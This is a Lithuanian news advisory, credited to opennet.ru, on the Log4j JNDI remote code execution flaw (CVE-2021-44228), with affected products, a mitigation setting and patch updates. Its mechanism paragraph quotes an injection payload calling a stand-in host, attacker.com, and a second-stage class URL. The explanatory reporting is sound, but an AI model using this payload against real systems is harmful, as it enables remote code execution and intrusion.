Katastrofiškas „Apache Log4j“ pažeidžiamumas, turintis įtakos daugeliui „Java“ projektų

„Apache Log4j“, populiarioje „Java“ programų registravimo sistemoje, buvo nustatytas kritinis pažeidžiamumas, leidžiantis vykdyti savavališką kodą, kai žurnale įrašoma specialiai suformatuota reikšmė „{jndi:URL}“ formatu. Ataka gali būti vykdoma „Java“ programoms, kurios registruoja iš išorinių šaltinių gautas vertes, pavyzdžiui, kai klaidų pranešimuose rodomos probleminės reikšmės.

Pažymima, kad beveik visi projektai, naudojantys tokias sistemas kaip „Apache Struts“, „Apache Solr“, „Apache Druid“ ar „Apache Flink“, yra paveikti problemos, įskaitant „Steam“, „Apple iCloud“, „Minecraft“ klientus ir serverius. Tikimasi, kad dėl pažeidžiamumo gali kilti didžiulių atakų prieš korporatyvines programas banga, pakartojanti „Apache Struts“ sistemos kritinių spragų istoriją, kurią, apytiksliais vertinimais, žiniatinklio programose naudoja 65% „Fortune“ 100 įmonių, įskaitant bandymus nuskaityti tinklą dėl pažeidžiamų sistemų.

Problemą apsunkina tai, kad veikiantis išnaudojimas jau buvo paskelbtas, tačiau stabilių šakų pataisymai dar nesudaryti. CVE identifikatorius dar nepriskirtas. Pataisa įtraukta tik į log4j-2.15.0-rc1 bandymo šaką. Norint užblokuoti pažeidžiamumą, rekomenduojama nustatyti log4j2.formatMsgNoLookups parametrą kaip true.

Problemą sukėlė tai, kad log4j palaiko specialių kaukių „{}“ apdorojimą eilutėse, išeinančiose į žurnalą, kuriose gali būti vykdomos JNDI (Java Naming and Directory Interface) užklausos. Ataka baigiasi perduodant eilutę su pakaitalu „${jndi:ldap://attacker.com/a}“, kurį apdorojus log4j nusiųs LDAP užklausą dėl kelio į Java klasę į attacker.com serverį. . Užpuoliko serverio grąžintas kelias (pvz., http://second-stage.attacker.com/Exploit.class) bus įkeltas ir vykdomas dabartinio proceso kontekste, todėl užpuolikas gali vykdyti savavališką kodą sistema su dabartinės programos teisėmis.

1 priedas: pažeidžiamumui buvo priskirtas identifikatorius CVE-2021-44228.

2 priedas: nustatytas būdas apeiti apsaugą, pridėtą leidimu log4j-2.15.0-rc1. Buvo pasiūlytas naujas naujinimas log4j-2.15.0-rc2 su pilnesne apsauga nuo pažeidžiamumo. Kodas pabrėžia pakeitimą, susijusį su nenormalaus nutraukimo nebuvimu, jei naudojamas netinkamai suformatuotas JNDI URL.

Šaltinis: opennet.ru

Добавить комментарий